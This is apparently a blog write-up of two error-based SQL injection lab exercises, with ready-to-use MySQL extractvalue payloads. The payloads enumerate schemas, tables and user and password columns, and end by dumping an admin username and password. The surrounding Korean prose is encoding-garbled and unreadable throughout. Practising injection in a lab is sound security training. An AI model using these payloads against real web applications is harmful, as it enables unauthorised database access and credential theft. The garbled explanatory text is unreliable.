SQLi WriteUp
SQL ์ธ์ ์ ๊ธฐ์ด
๐กํด๋น ๋ด์ฉ์ pentestqym์ ๋ด์ฉ์ ๋ค์ ํ ๋ฒ ์ ๋ฆฌํ ๋ด์ฉ์ด๋ฉฐ, ๋ชจ๋ ์ ์๊ถ์ ํด๋น ์ฌ์ดํธ์๊ฒ ์์ต๋๋ค. ์ด๋ฒ์๋ SQL Injection์ด ๋ญ์ง์ ์ด๋ป๊ฒ ์ด๋ฃจ์ด์ง๋์ง ์์๋ด ์๋ค. SQL Injection? SQL Injection
dystopia050119.tistory.com
Error-base SQLi WriteUp
Error-based SQLi์ ์ง์ ์ค์ตํด ๋ด ์๋ค. ๋ณธ ํ๋ จ์ ์๋จ์ ์๋ ์ค์ต ํ๊ฒฝ์ ์์ฑํ์ฌ ์ค๋ฅ ๊ธฐ๋ฐ SQLi์ ์ง์ ํ ์คํธํ๊ณ ๋ฏธ์ ์ ํด๊ฒฐํด ๋ณด์๊ธฐ ๋ฐ๋๋๋ค. ๋จผ์ ์ฐธ๊ณ ํ๋ฉด ์ข์ ์๋ฃ์ ๋๋ค.
Error ๊ธฐ๋ฐ SQL ์ธ์ ์
๐กํด๋น ๋ด์ฉ์ pentestqym์ ๋ด์ฉ์ ๋ค์ ํ ๋ฒ ์ ๋ฆฌํ ๋ด์ฉ์ด๋ฉฐ, ๋ชจ๋ ์ ์๊ถ์ ํด๋น ์ฌ์ดํธ์๊ฒ ์์ต๋๋ค. ์ค๋ฅ๊ธฐ๋ฐ SQLi์ ๋ํ์ฌ ๋ฐฐ์๋ด ์๋ค. Error based SQLi ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํ์ฉํ
dystopia050119.tistory.com
Exercise 1.
์ด ๋ฌธ์ ๋ ๋งค๊ฐ๋ณ์๊ฐ WHERE์ ์ ์ฌ์ฉ๋ ๋ฌธ์์ด ํ์ ์ ์ปฌ๋ผ๊ณผ ์ฐ๊ฒฐ๋ฉ๋๋ค.
1. ๋จผ์ URL์ ํ์ธํจ(GET ๋ฐฉ์์ผ๋ก ์ธ์ ์ ๋ฌ) ๊ทธ ํ DB ํ๋ ์์ํฌ ํ์ธ
- ๊ทธ ํ ํ๋ฐ์ดํ(๋ค๋ฅธ๊ฑธ๋ก ํด๋ ๋จ)๋ก SQLi๊ฐ ๋๋์ง ํ์ธ
http://๊ฐ์์ ip์ ์ฃผ์/sqli_err_ex1.php?name=Faye%20Valentine%27


์ ์ฐธ๊ณ ๋ก ์ฌ๊ธฐ์๋ ์ด๋ฏธ์ง๋ฅผ ์ ์ฌ๋ ธ๋๋ฐ ํ์ด์ง ์์ค๋ฅผ ๋ณด๋ค ๋ณด๋ฉด ์ฃผ์์ผ๋ก ๊ณต๊ฒฉ ์ ํ๊ณผ ํํฐ์ ์ ๋ฌด๋ฅผ ์๋ ค์ฃผ๋ค์ ใ ใ

MySQL :: MySQL 8.0 Reference Manual :: 26.3.31 The INFORMATION_SCHEMA SCHEMATA Table
26.3.31 The INFORMATION_SCHEMA SCHEMATA Table A schema is a database, so the SCHEMATA table provides information about databases. The SCHEMATA table has these columns: CATALOG_NAME The name of the catalog to which the schema belongs. This value is always
dev.mysql.com
MySQL :: MySQL 8.0 Reference Manual :: 26.8 Extensions to SHOW Statements
26.8 Extensions to SHOW Statements Some extensions to SHOW statements accompany the implementation of INFORMATION_SCHEMA: SHOW can be used to get information about the structure of INFORMATION_SCHEMA itself. Several SHOW statements accept a WHERE clause t
dev.mysql.com
์ ๊ณต์ ๋ฌธ์์ ์๋ฃ๋ฅผ ํตํด ์ฐธ๊ณ ํ์ฌ ์ดํด๋ด ์๋ค.
2. ์ฌ์ฉ ์ค์ธ DB๋ช ํ์ธ & ํ ์ด๋ธ๋ช
์ฌ์ฉ ์ค์ธ DB ํ๋ ์์ํฌ๋ ์์์ ํ์ธํ์ฃ ? ๋ฐ๋ก DB๋ช ์ ํ์ธํฉ์๋ค.
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, schema_name) FROM information_schema.schemata LIMIT 3,1)))-- -
์ฐธ๊ณ ๋ก concat์ ์ฌ์ฉ ์ ํด๋ ๋๊ธด ํด์(์ฌ๊ธฐ์ ์ ๊ณ์ ์ฐ๋ผ๊ณ ํ ๊น์?)
๋ํ extractvalue()๋ฅผ ์ฌ์ฉํ๋ ์ด์ ๋ ํ๋ฉด์ ๋์ฐ๊ธฐ ์ํจ(๋จ ํ ์ปฌ๋ผ๋ฐ์(์ค) ๋ชป ๋์)

ํด๋น ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ ์ด์ ๋ ํด๋น information_schema.schemata(Mysql, MariaDB์ ์ ๋ณด; ์ ์ฝ์กฐ๊ฑด ๋ฑ)์ ๋ด์๋๋ ๋ฉํ๋ฐ์ด์์ ํด๋น์ ๋ณด์ ์ปฌ๋ผ์ ์ฐพ๋ ๊ณผ์ ์ ๋๋ค.
MySQL :: MySQL 8.0 Reference Manual :: 26.1 Introduction
INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges. Other terms that are sometimes used for this information are data dictiona
dev.mysql.com
์ ์๋ฃ๋ฅผ ์ฐธ๊ณ ํ์ฌ ํ์ด๋ด ์๋ค.
3. ํ ์ด๋ธ์ ์ด๊ฑฐํจ
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.tables WHERE table_schema='mydb' LIMIT 3,1)))-- -

ํด๋น ์ฌ์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ๊ณ ์๋ DB(users)์ ์ ๋ณด๋ฅผ ์ป์์ผ๋ ๋ค์๋จ๊ณ๋ก ใฑ
4. ์ฌ์ฉ์ ๊ณ์ (ID)๊ณผ ๋น๋ฒ ์ปฌ๋ผ ํ์ธํ๊ธฐ
/* Username columns */
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)))-- -
/* Password columns */
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' LIMIT 6,1)))-- -


5. admin password crack
ํ ์ด๋ธ๋ช ๊ณผ ๊ตฌ์กฐ ๊ทธ๋ฆฌ๊ณ ๊ฐ ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ์์์ผ๋ฏ๋ก ๋ฐ๋ก ๋น๋ฒ์ ์ถ์ถํฉ์๋ค.
%27 AND extractvalue(rand(), concat(0x3a, (SELECT concat(user_name, 0x3a, password) FROM users LIMIT 0,1)))-- -

๊ฒฐ๋ก ์ ์ผ๋ก ๊ฒฐ๊ณผ๊ฐ ๋์๊ตฐ์
ID : Administrator(admin)
PW : pass
Exercise 2.
์ด ๋ฌธ์ ๋ ๋งค๊ฐ๋ณ์ ๊ฐ์ ํ๋ฐ์ดํ(')๋ฅผ ์ ์ถํ๋ฉด DB ๊ตฌ๋ฌธ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ํ์ํ์ง๋ง ๋ฌธ์ 1๊ณผ ๋์ผํ ๋ฐฉ๋ฒ์ ์ด์ฉํ๋ฉด ์ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค. ์ด ๋ฌธ์ ๋ ๋งค๊ฐ๋ณ์๊ฐ DB์ ์ซ์ ํ์ ์ปฌ๋ผ๊ณผ ์ฐ๊ฒฐ๋์ด ์์์ ์ ์ํ์ธ์.
1. ๋จผ์ URL์ ํ์ธํจ(GET ๋ฐฉ์์ผ๋ก ์ธ์ ์ ๋ฌ) ๊ทธ ํ DB ํ๋ ์์ํฌ ํ์ธ
- ๊ทธ ํ ํ๋ฐ์ดํ(๋ค๋ฅธ ๊ฑธ๋ก ํด๋ ๋จ)๋ก SQLi๊ฐ ๋๋์ง ํ์ธ
http://๊ฐ์์ ip์ ์ฃผ์/sqli_err_ex2.php?emp_no=1%2B2
๋ฅผ ํ๋ค๋ฉด ์ฒ์ 2๋ฒ์งธ ๋ฌธ์ ๋ฅผ ๋ค์ด๊ฐ ๋์ฒ๋ผ ์ ์์ ์ผ๋ก ๋์ค๋ฏ๋ก SQLi๊ฐ ๊ฐ๋ฅํด์ง๋๋ค. ์ฐธ๊ณ ๋ก %2B๋ +์ด๋ฉฐ, ์ ๋ ๊ฒ URL incode ๊ฐ ์ฝ๊ฐ ๊ท์ฐฎ๋ค๋ฉด -๋ฅผ ๊ทธ๋ฅ ์ฐ์ ๋ ๋ผ์
2. ์ฌ์ฉ ์ค์ธ DB๋ช ํ์ธ & ํ ์ด๋ธ๋ช
์ฌ์ฉ ์ค์ธ DB ํ๋ ์์ํฌ๋ ์์์ ํ์ธํ์ฃ ? ๋ฐ๋ก DB๋ช ์ ํ์ธํฉ์๋ค. ์์์ ํ๋ ๋ด์ฉ์ด๋ ํฌ๊ฒ ๋ฌ๋ผ์ง ๋ณดํธ ๊ธฐ๋ฒ์ด๋ DB๊ฐ ๋ณ๊ฒฝ๋์ง ์์์ ์ฝ๋๋ง ๋ณด์ฌ์ฃผ๊ณ ๋๋ด๋๋ก ํ๊ฒ ์ต๋๋ค.
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, schema_name) FROM information_schema.schemata LIMIT 3,1)))-- -
3. ํ ์ด๋ธ์ ์ด๊ฑฐํจ
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, table_name) FROM information_schema.tables WHERE table_schema='mydb' LIMIT 3,1)))-- -
4. ์ฌ์ฉ์ ๊ณ์ (ID)๊ณผ ๋น๋ฒ ์ปฌ๋ผ ํ์ธํ๊ธฐ
/* Username columns */
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.columns WHERE table_name='users' LIMIT 5,1)))-- -
/* Password columns */
AND extractvalue(rand(), concat(0x3a, (SELECT concat(0x3a, column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='users' LIMIT 6,1)))-- -
5. admin password crack
ํ ์ด๋ธ๋ช ๊ณผ ๊ตฌ์กฐ ๊ทธ๋ฆฌ๊ณ ๊ฐ ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ์์์ผ๋ฏ๋ก ๋ฐ๋ก ๋น๋ฒ์ ์ถ์ถํฉ์๋ค.
AND extractvalue(rand(), concat(0x3a, (SELECT concat(user_name, 0x3a, password) FROM users LIMIT 0,1)))-- -
๊ฒฐ๊ณผ๋ ์ ๊ทผ ๋ฐฉ์๋.. ์ ํํ๊ฒ ๋๊ฐ๋ค์.. Python์ผ๋ก ์ต์ค ์ฝ๋๋ฅผ ์์ฑํ ๊น.. ์๊ฐํด๋ดค๋๋ฐ ๋์ค์ ํ ๊ป
์์ง ๋ฏธ์์ฑ์ด๊ธฐ๋ ํ๊ณ ์๋ ์ง๊ธ ์ฌ๋ฆด ์๊ฐ์ ์์๋๋ฐ.. ์ค๋์ ๋ ๋จนํ ๊ป์ ใ ใ ..